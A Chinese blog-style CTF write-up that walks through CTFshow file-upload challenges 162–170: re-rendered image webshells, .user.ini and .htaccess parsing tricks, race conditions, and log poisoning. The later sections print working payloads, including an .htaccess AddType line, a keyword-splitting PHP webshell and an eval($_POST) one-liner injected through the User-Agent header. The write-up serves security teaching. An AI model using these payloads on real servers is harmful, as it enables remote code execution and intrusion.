WEB攻防-通用漏洞&文件上传&二次渲染&.htaccess&变异免杀

目录

知识点

详细点

文件二次渲染

php删除规则

例题

CTF-Web入门-162

CTF-Web入门-163

CTF-Web入门-164

CTF-Web入门-165

CTF-Web入门-166

CTF-Web入门-167

CTF-Web入门-168

CTF-Web入门-169-170


知识点

1、文件上传-二次渲染

2、文件上传-简单免杀变异

3、文件上传-.htaccess妙用

4、文件上传-PHP语言特性

详细点

1、检测层面:前端,后端等

2、检测内容:文件头,完整性,二次渲染等

3、检测后缀:黑名单,白名单,MIME检测等

4、绕过技巧:多后缀解析,截断,中间件特性,条件竞争等

后门代码需要用特定格式后缀解析,不能以图片后缀解析脚本后门代码(解析漏洞除外)

如:jpg图片里面有php后门代码,不能被触发,所以连接不上后门

如果要图片后缀解析脚本代码,一般会利用包含漏洞或解析漏洞,还有.user.ini&.htaccess

文件二次渲染

1、判断上传前和上传后的文件大小及内容

2、判断上传后的文件返回数据包内容

php删除规则

1、什么都删除:文件实际上是删除成功的,但是被系统或者后台删除,那么在没删除的之前,文件时存在,可以进行正常的操作

2、后门代码删除:如例题ctf-163题,直接删除png包含的路径,可以改成.user.ini进行包含

条件竞争:如果上传的文件在upload路径下会被删除,那么可以在删除前一直访问这个路径下要上传的文件,并且传输代码,利用代码创建一个新文件。只要一直访问路径并传输代码并且旧文件上传成功一秒那么久可以执行成功,将新文件放到根目录或者不会自动删除的目录下或者直接利用代码查看flag。

例题

CTF-Web入门-162

思路:该关有头文件判断,并且过滤的大量的字符,并且过滤了字符点。那么可以让user.ini直接包含png文件(不添加后缀名),因为大量的过滤,png文件里不能填写后门代码,那么可以直接包含一个路径(因为过滤点,所以要将url转换为数字形式,转换链接:https://www.bejson.com/convert/ip2int/),在这个路径上填写后门代码。

 

  

 

  

 

CTF-Web入门-163

思路:该关方法与162关相同,唯一差别在于该关存在删除规则。

直接上关键步骤:

  

 

CTF-Web入门-164

思路:该题考点是对png图片的二次渲染。因为图片上传后经过渲染,所以内容发生了改变。那么后门脚本就无法执行

 在上传两个不同的png后发现,一个成功但是另一个会失败,说明有上传文件大小的限制,那么可以初步推断有二次渲染。并且查看文件上传后的大小,明显不太一样 

 

 

 利用c32asm明显发现图片发生了变化,这就代表图片进行了二次渲染

 

 那么可以利用php脚本代码生成渲染好的图片,并且可以明显发现渲染后的图片带有后门脚本。

 

利用get和post后门脚本进行传参访问,burp抓包获取flag

 

 

CTF-Web入门-165

思路:该题考点为jpg的二次渲染

 

上传jpg图片,访问图片并进行抓包,通过回显可以发现是通过php的内置函数进行二次渲染

 利用php的脚本对图片进行渲染,并会在目录下形成一个payload图片

 

 

查看图片可以发现带有后门脚本

 

直接上传图片,利用后门代码获取flag即可

 

CTF-Web入门-166

思路:该关只允许上传zip文件,那么将zip文件的压缩包内容改为后门脚本即可

 

 

CTF-Web入门-167

思路:.htaccess可以通过设置实现文件解析配置,将.png后缀的文件解析成php:AddType application/x-httpd-php .png

直接上传jpg文件并修改内容为后门脚本,上传.htaccess文件,让jpg文件内容以php代码执行。

 

 利用后门直接获取flag

 

 

CTF-Web入门-168

思路:该题考点是面杀后门,过滤system。那么只要利用变量将system拆分再重组即可

<?php $a='syste';$b='m';$c=$a.$b;$c('tac ../flagaa.php');?>

 

 

CTF-Web入门-169-170

思路:构造.user.ini利用条件:需要上传index.php  内容随意   index可以自动调用.user.ini

上传.user.ini包含日志:auto_prepend_file=/var/log/nginx/access.log

访问地址带后门UA头写入日志:<?=eval($_POST[x]);?>

写入index.php内容任意,为了可以调用user.ini文件。在让user.ini文件包含日志文件

 

 访问执行文件,截断并修改UA头为一句话木马,获取flag

  

 

 

 

 

  • 2
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值